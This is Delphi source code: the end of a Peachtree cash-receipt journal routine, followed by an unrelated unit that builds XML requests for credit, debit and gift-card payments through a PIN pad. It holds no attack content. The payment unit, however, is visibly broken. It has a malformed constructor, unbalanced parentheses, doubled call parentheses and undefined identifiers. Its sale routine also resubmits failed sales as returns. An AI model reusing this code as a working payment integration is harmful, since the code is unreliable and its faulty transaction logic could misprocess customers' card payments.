FCashReceiptJournal.DiscountAccount := FDefaultCustomerData.DiscountGLAccount; //The Discount Account associated with the cash receipt. The default value for this field should be the Default Discount GL Account in the Peachtree Default Customer data. For V8 and later the Discount information is presented on a separate detail line. Size = 15.
if FCompanyInfo.Version < 8 Then
FCashReceiptJournal.CashAccount := AInvoice.CashAccount; //Cash account for the record, associated with the Cash Account field on the Peachtree Receipts form. For V8 and later the Cash Account information is shown on a separate detail line with LineNo = 0. Size = 15.
if FCompanyInfo.Version >= 9 then
FCashReceiptJournal.MainAccount := FCashReceiptJournal.CashAccount; //The GL account for this journal entry. Corresponds to GL Account on detail line 0 for V8 and later.
if FCompanyInfo.Version >= 10 Then
FCashReceiptJournal.GUID := FPeachw.GUID; //Universally unique global identifier for record. Size = 38.
finally
FDefaultCustomerData.CloseFile;
FreeAndNil(FDefaultCustomerData);
end;
//Add lines of detail (required)
FCashReceiptJournal.NDistributions := 1;
if FCompanyInfo.Version >= 8 then
begin
i := 1;
//FCashReceiptJournal.DetailGLAccount[i] := AInvoice.CashAccount; //The GL Account associated with the specified detail line.. Size = 15
FCashReceiptJournal.DetailAmount[i] := AInvoice.Amount; //The amount associated with a particular detail line of the Cash Receipt record, corresponding to the Amount fields in the lower part of the Peachtree Receipts form
FCashReceiptJournal.DetailUnitPrice[i] := 0; //Unit price associated with specified detail line
//FCashReceiptJournal.DetailDescription[i] := CustomerInfo.BillToName; //The description associated with the specified detail line, corresponding to the Description fields in the lower part of the Peachtree Receipt s form. Size = 160.
FCashReceiptJournal.DetailTaxType[i] := 0; //The tax type code associated with the specified detail line
FCashReceiptJournal.DetailJobIndex[i] := 0; //The index for the job associated with the specified detail line, corresponding to the Job specified in the Job fields in the lower part of the Peachtree Receipts form
FCashReceiptJournal.DetailPhaseIndex[i] := 0; //The index for the phase associated with the specified detail line, corresponding to the phase of a job specified in the Job fields in the lower part of the Peachtree Receipts form
FCashReceiptJournal.DetailCostIndex[i] := 0; //The index in the Cost Codes table for the job cost associated with the specified detail line.
FCashReceiptJournal.DetailTrxType[i] := 0; //A code identifying what type of transaction this line corresponds to. Observed values are: 0 GL, 1 COS, 2 Inventory, 4 Discount, 5 Sales Tax,
FCashReceiptJournal.DetailLineNo[i] := 0; //The detail line number. For V7 the value returned is always set equal to Index
FCashReceiptJournal.DetailInvoiceNRecord[i] := AInvoice.NRecord; //The Nrecord number of the invoice that this record pays.
FCashReceiptJournal.DetailFlag1[i] := True; //True if this row is to be included in the general ledger and thus in all financial calculations based on general ledger amounts. Always True for the Cash Receipts journal except for beginning balance records.
FCashReceiptJournal.DetailCustomerIndex[i] := CustomerInfo.index; //Same as Customer Index. Should always be set on writing V8 or higher records
FCashReceiptJournal.DetailCostOfSalesAmount[i] := AInvoice.Amount; //The COS amount that applies to a particular detail line of the Cash Receipt record.
if FCompanyInfo.Version >= 11 then
begin
//FCashReceiptJournal.DetailGUID[i] := FPeachw.GUID;
FCashReceiptJournal.DetailDateCleared[i] := Null;
end;
end;
FStatus := FCashReceiptJournal.Insert;
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
ShowMessage('Payment not inserted. Status = ' + IntToStr(FStatus));
Exit;
end;
end
else
ShowMessage('Could not open journal. Status = ' + IntToStr(FStatus));
end;
finally
FCashReceiptJournal.CloseFile;
FreeAndNil(FCashReceiptJournal);
end;
end;
end.
|
unit DsiPDCXIntegration;
Interface
uses SysUtils, ProcessorInterface, DeviceIntegrationInterface, uCreditCardFunction, DSIPDCXLib_TLB, VER1000XLib_TLB,
VER2000XLib_TLB, uXML, uMRPinpad, classes, DeviceIntegration, MercuryProcessor, WorldPayProcessor,
CardTranMsgStatus;
type
TDsiPDCXIntegration = class(TDeviceIntegration, IDeviceIntegration)
private
FTranMsgStatus: TCardTranMsgStatus;
Fprocessor: IProcessor;
FPinPad: TMRPinPad;
FDevice: TDsiPDCX;
FXMLResult : WideString; // XML answer from Server
FXMLServer : WideString; // XML Server
FXMLSent : WideString; // XML Sent
FXMLReceived : WideString; // XML Received Aprooved/Declined
FXMLContent : TXMLContent;
function ShouldResubmit(): Boolean;
function initializeStatusXML(): String;
function CreditProcessSaleXML(): String;
function CreditResubmitProcessSaleXML(): String;
function CreditProcessReturnXML(): String;
function CreditVoidSaleXML(): String;
function CreditVoidReturnXML(): String;
function CreditResubmitReturnXML(): String;
function CreditReturnByRecordNoXML(): String;
function CreditSaleByRecordNoXML(): String;
function CreditVoiceAuthXML(): String;
function CreditVoidReturnByRecordNoXML(): String;
function DebitProcessSaleXML(): String;
function DebitProcessReturnXML(): String;
function GiftProcessSaleXML(): String;
function GiftProcessReturnXML() :String;
function GiftVoidSaleXML(): String;
function GiftVoidReturnXML(): String;
function GiftIssueXML(): String;
function GiftVoidIssueXML(): String;
function GiftReloadXML(): String;
function GiftVoidReloadXML(): String;
function GiftBalanceXML(): String;
function GiftNoNSFSaleXML(): String;
function GiftCashOutXML(): String;
protected
procedure SetPadType(arg_name: String); override;
function VerifyTransaction(): Boolean; override;
public
constructor Create();
destructor Destroy(); override;
function InitializeStatus(): Boolean;
function ProcessCommand(arg_xml: WideString): Boolean;
// Credit Transactions
function CreditProcessSale(): Boolean;
function CreditProcessReturn(): Boolean;
function CreditVoidSale(): Boolean;
function CreditVoidReturn(): Boolean;
// Debit Transactions
function DebitProcessSale(): Boolean;
function DebitProcessReturn(): Boolean;
// Prepaid transactions
function GiftProcessSale(): Boolean;
function GiftProcessReturn(): Boolean;
function GiftVoidSale(): Boolean;
function GiftVoidReturn(): Boolean;
function GiftIssue: Boolean;
function GiftVoidIssue: Boolean;
function GiftReload: Boolean;
function GiftVoidReload: Boolean;
function GiftBalance: Boolean;
function GiftNoNSFSale: Boolean;
function GiftCashOut: Boolean;
// Antonio September 11, 2013
function tryIssueCard(arg_salePrice: double): TTransactionReturn;
function tryBalanceCard(arg_salePrice: double): TTransactionReturn;
procedure SetProcessor(arg_processor: IProcessor);
procedure SetPinPad(arg_pinpad: TMRPinPad);
function GetTransaction(): IProcessor;
procedure BeforeProcessCard();
procedure BeforeVoid();
end;
implementation
uses Math;
{ TDsiPDCXIntegration }
function TDsiPDCXIntegration.ShouldResubmit(): Boolean;
begin
result := ( ( FtranMsgStatus.GetCmdStatus() = 'Error') and ( ( FTranMsgStatus.GetCmdStatus() = 'Cancelled.') or FTranMsgStatus.GetTextResponse() = 'Cancelled at POS.') ) )
end;
procedure TDsiPDCXIntegration.BeforeProcessCard;
begin
end;
procedure TDsiPDCXIntegration.BeforeVoid;
begin
end;
constructor TDsiPDCXIntegration.Create;
begin
FDevice := TDsiPDCX.Create(nil);
FTranMsgStatus : TCardTranMsgStatus.Create();
FProcessor.SetAcctNo('SecureDevice');
end;
destructor TDsiPDCXIntegration.Destroy();
begin
FreeAndNil(FtranMsgStatus);
end;
function TDsiPDCXIntegration.CreditProcessReturn: Boolean;
begin
if ( Fprocessor.IsDeviceInitialized ) then begin
result := processCommand(CreditProcessReturnXML);
// CmdStatus and TextResponse from Mercury
if ( ShouldResubmit ) then begin
result := processCommand(resubmitReturnXML);
end;
end;
end;
function TDsiPDCXIntegration.CreditProcessReturnXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Return</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetInvoiceNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', Abs(FProcessor.GetPurchase())) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ FPinpad.Comport+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + SecureDevice + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditProcessSale: Boolean;
begin
if ( Fprocessor.IsDeviceInitialized ) then begin
result := processCommand(CreateSaleXML);
// CmdStatus and TextResponse from Mercury
if ( ShouldResubmit ) then begin
result := processCommand(resubmitReturnXML);
end;
end;
end;
function TDsiPDCXIntegration.CreditProcessSaleXML: String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + fProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Sale</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + fProcessor.GetInvoice() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + fProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', fprocessor.GetPurchase) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + fProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + fProcessor.GetSecureDevice() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + fProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + fProcessor.GetAppLabel + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditResubmitProcessSaleXML: String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + fProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Sale</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + fProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + fProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', fProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + fProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>Prompt</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + fProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + fProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditResubmitReturnXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Return</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetInvoiceNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', Abs(FProcessor.GetPurchase())) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>Prompt</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditReturnByRecordNoXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>ReturnByRecordNo</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>' + fRecordNumberRequested + '</RecordNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + SecureDevice + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditSaleByRecordNoXML: String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>SaleByRecordNo</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>' + fRecordNumberRequested + '</RecordNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + SecureDevice + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditVoiceAuthXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoiceAuth</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>' +fRecordNumberRequested +'</RecordNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<AuthCode>' + FProcessor.GeAuthCode() + '</AuthCode>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + SecureDevice + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditVoidReturn: Boolean;
begin
if ( fDeviceInitialized ) then begin
BeforeVoid;
result := processCommand(VoidReturnXML);
end;
end;
function TDsiPDCXIntegration.CreditVoidReturnByRecordNoXML: String;
var
strRequest: string;
begin
secureDevice := 'SecureDevice';
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoidReturnByRecordNo</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<AuthCode>' + FProcessor.GeAuthCode() + '</AuthCode>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ FPinpad.Comport+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + SecureDevice + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditVoidReturnXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := strRequest +
ctab + ctab + '<IpPort>' + FProcessor.GetIPPort() + '</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoidReturn</TranCode>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>' + FPinpad.Comport + '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GeAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<AuthCode>' + FProcessor.GeAuthCode() + '</AuthCode>' + ccrlf +
ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + floatToStr(FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf +
ctab + ctab + '<AcqRefData>' + FProcessor.GetResultAcqRefData() + '</AcqRefData>' + ccrlf +
// ctab + ctab + '<SequenceNo>' + SequenceNo + '</SequenceNo>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.CreditVoidSale: Boolean;
begin
if ( fDeviceInitialized ) then begin
BeforeVoid;
result := processCommand(VoidSaleXML);
end;
end;
function TDsiPDCXIntegration.CreditVoidSaleXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := strRequest +
ctab + ctab + '<IpPort>' + FProcessor.GetIPPort() + '</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoidSale</TranCode>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>' + FPinpad.Comport + '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GeAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<AuthCode>' + FProcessor.GeAuthCode() + '</AuthCode>' + ccrlf +
ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + floatToStr(FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf +
ctab + ctab + '<AcqRefData>' + FProcessor.GetResultAcqRefData() + '</AcqRefData>' + ccrlf +
/// ctab + ctab + '<SequenceNo>' + SequenceNo + '</SequenceNo>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.DebitProcessReturn: Boolean;
begin
if ( Fprocessor.IsDeviceInitialized() ) then begin
result := processCommand(DebitProcessReturnXML);
end;
end;
function TDsiPDCXIntegration.DebitProcessReturnXML: String;
var
strRequest: string;
begin
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Debit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Return</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', Abs(Fprocessor.GetPurchase())) + '</Purchase>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetSecureDevice() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.DebitProcessSale: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(DebitProcessSaleXML);
end;
end;
function TDsiPDCXIntegration.DebitProcessSaleXML: String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + FProcessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Debit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Sale</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<CashBack>0.00</CashBack>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ FPinpad.Comport+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID()() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FMemo + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GetTransaction: IProcessor;
begin
result := FProcessor;
end;
function TDsiPDCXIntegration.GiftBalanceXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() ) +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
